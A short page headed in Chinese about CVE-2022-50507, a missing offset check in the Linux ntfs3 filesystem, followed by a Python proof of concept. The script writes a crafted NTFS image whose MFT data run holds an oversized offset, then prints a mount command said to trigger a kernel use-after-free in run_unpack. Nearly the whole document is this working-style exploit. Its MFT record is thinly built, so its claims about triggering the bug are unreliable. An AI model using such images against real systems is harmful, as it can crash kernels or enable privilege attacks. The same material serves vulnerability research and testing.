CVE-2022-50507 Linux内核ntfs3文件系统数据运行偏移验证缺失漏洞

# CVE-2022-50507 PoC - Triggering Use-After-Free in ntfs3 run_unpack # This PoC creates a malicious NTFS image with invalid data run offsets # to trigger the use-after-free vulnerability in run_unpack function. import struct import sys # Minimal NTFS boot sector template NTFS_BOOT_SECTOR = bytearray(512) # OEM ID NTFS_BOOT_SECTOR[3:11] = b'NTFS ' # Bytes per sector = 512 struct.pack_into('<H', NTFS_BOOT_SECTOR, 0x0B, 512) # Sectors per cluster = 8 NTFS_BOOT_SECTOR[0x0D] = 8 # Reserved sectors = 0 struct.pack_into('<H', NTFS_BOOT_SECTOR, 0x0E, 0) # Number of FATs = 0 (NTFS doesn't use FAT) NTFS_BOOT_SECTOR[0x10] = 0 # Media descriptor = 0xF8 NTFS_BOOT_SECTOR[0x15] = 0xF8 # Sectors per track struct.pack_into('<H', NTFS_BOOT_SECTOR, 0x18, 63) # Number of heads struct.pack_into('<H', NTFS_BOOT_SECTOR, 0x1A, 255) # Hidden sectors struct.pack_into('<I', NTFS_BOOT_SECTOR, 0x1C, 0) # Total sectors struct.pack_into('<Q', NTFS_BOOT_SECTOR, 0x28, 0x100000) # MFT cluster number struct.pack_into('<Q', NTFS_BOOT_SECTOR, 0x30, 0x1000) # MFT mirror cluster number struct.pack_into('<Q', NTFS_BOOT_SECTOR, 0x38, 0x2000) # Clusters per MFT record NTFS_BOOT_SECTOR[0x40] = 0xF6 # 2^(-10) clusters = -1024 bytes per record # Clusters per index record NTFS_BOOT_SECTOR[0x44] = 0xF6 # Volume serial number struct.pack_into('<Q', NTFS_BOOT_SECTOR, 0x48, 0x1234567890ABCDEF) # Signature NTFS_BOOT_SECTOR[0x1FE:0x200] = b'\x55\xAA' def create_malicious_data_run(): """ Create a malicious data run with invalid offset value. Data run format: header byte (low nibble = length of offset, high nibble = length of length), followed by length bytes, then offset bytes. """ data_run = bytearray() # Header: offset_length=8, length_length=1 data_run.append(0x81) # Length = 100 clusters data_run.append(100) # Offset = extremely large value to cause out-of-bounds access # This large offset will cause run_unpack to access invalid memory data_run.extend(struct.pack('<q', 0x7FFFFFFFFFFFFFFF)) # End marker data_run.append(0x00) return data_run def create_malicious_ntfs_image(output_path): """Create a malicious NTFS image to trigger CVE-2022-50507""" with open(output_path, 'wb') as f: # Write boot sector f.write(NTFS_BOOT_SECTOR) # Pad to MFT location f.write(b'\x00' * (0x1000 * 8 * 512 - 512)) # Write malicious MFT record with crafted data runs mft_record = bytearray(1024) # FILE signature mft_record[0:4] = b'FILE' # Add malicious data run in attribute area malicious_run = create_malicious_data_run() # Place at attribute offset (simplified) attr_offset = 0x38 mft_record[attr_offset:attr_offset+len(malicious_run)] = malicious_run f.write(mft_record) if __name__ == '__main__': output = sys.argv[1] if len(sys.argv) > 1 else 'malicious.ntfs' create_malicious_ntfs_image(output) print(f"[*] Malicious NTFS image created: {output}") print("[*] To trigger the vulnerability, mount the image:") print(f" mount -t ntfs3 -o loop {output} /mnt/test") print("[*] Expected: KASAN use-after-free in run_unpack+0x2e3/0x570")